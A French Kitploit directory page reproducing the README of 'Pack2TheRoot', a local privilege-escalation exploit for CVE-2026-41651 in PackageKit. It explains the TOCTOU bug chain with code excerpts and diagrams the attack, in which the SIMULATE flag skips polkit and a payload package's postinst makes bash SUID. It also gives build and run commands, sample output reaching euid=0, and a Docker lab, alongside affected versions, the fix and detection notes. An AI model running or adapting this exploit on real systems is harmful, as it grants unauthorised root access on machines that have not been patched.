Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41651 — Exploite une course TOCTOU dans le gestionnaire de transactions de PackageKit pour installer des paquets arbitraires en tant que root, réalisant une élévation de privilèges locale et un shell SUID sans authentification. | Kitploit
Outils/GitHubGitHub/vozec/cve-2026-41651
Escalade de PrivilègesAnalyse des VulnérabilitésExploitation
GitHubvozec/cve-2026-41651

CVE-2026-41651

Exploite une course TOCTOU dans le gestionnaire de transactions de PackageKit pour installer des paquets arbitraires en tant que root, réalisant une élévation de privilèges locale et un shell SUID sans authentification.

Voir le dépôt
114183il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pack2TheRoot — CVE-2026-41651

Condition de concurrence TOCTOU dans le gestionnaire de transactions de PackageKit. Tout utilisateur local non privilégié peut installer des paquets arbitraires en tant que root sans authentification.

Platform Language CVSS Status


Aperçu

ChampValeur
CVECVE-2026-41651
ComposantDémon PackageKit (packagekitd)
Versions affectées1.0.2 – 1.3.4
Corrigé dans1.3.5
ImpactÉlévation de privilèges locale → root
Authentification requiseAucune
Interaction utilisateurAucune
Testé surUbuntu 24.04, Debian 12

Démo

poc

Vulnérabilité

Trois bugs dans src/pk-transaction.c s'enchaînent pour créer une fenêtre TOCTOU entre l'autorisation et l'exécution.

Bug 1 — Écrasement inconditionnel des flags (ligne 4036)

InstallFiles() écrase inconditionnellement cached_transaction_flags et cached_full_paths, sans vérification d'état :

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Rejet silencieux des transitions d'état (lignes 876–881)

pk_transaction_set_state() ignore silencieusement les transitions arrière. Les flags sont déjà écrasés, mais l'état reste inchangé :

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Lecture tardive des flags (lignes 2273–2277)

pk_transaction_run() lit les flags en cache au moment de l'ordonnancement (depuis l'idle de GLib), et non au moment de l'autorisation :

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bonus — SIMULATE contourne polkit (lignes 2893–2900)

Définir PK_TRANSACTION_FLAG_SIMULATE (bit 2, valeur 0x4) saute entièrement la vérification polkit :

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Déroulement de l'exploit

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Les deux appels InstallFiles sont envoyés comme appels D-Bus asynchrones de type fire-and-forget avant que la boucle principale du client n'itère. Cela garantit que les deux messages arrivent dans la socket du serveur avant que l'idle GLib ne se déclenche — aucune course à gagner.

polkitd finit par renvoyer NOT_AUTHORIZED pour le second appel, mais d'ici là, APT a déjà lancé l'installation. L'erreur est attendue et sans incidence.


Compilation

root@kitploit:~
sudo apt install libglib2.0-dev
make

Aucune autre dépendance — les paquets .deb sont compilés en C pur à l'exécution.


Utilisation

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — tous les contrôles de privilèges du noyau utilisent l'UID effectif.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

L'image compile PackageKit 1.3.4 à partir des sources (commit 2149735, dernière version vulnérable), démarre dbus + polkitd + packagekitd, puis exécute l'exploit en tant qu'utilisateur non privilégié.

Note sur le g_assert : l'image Docker neutralise un garde-fou g_assert (!transaction->emitted_finished) dans pk-transaction.c. Sur un vrai système non corrigé, cette assertion se déclenche lorsque le thread d'APT tente d'émettre Finished après que polkitd l'a déjà fait, faisant planter le démon via SIGABRT. Le bash SUID est déjà sur le disque à ce stade, l'élévation de privilèges réussit donc — le crash est un DoS secondaire. packagekitd redémarre à la prochaine activation D-Bus.


Détection

Sur PackageKit ≥ 1.3.5, le second appel est rejeté :

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

Le correctif ajoute un garde-fou d'état dans pk_transaction_method_call() :

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Références

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Commit de correction — 76cfb675
  • Annonce OSS-Security
Télécharger l’outil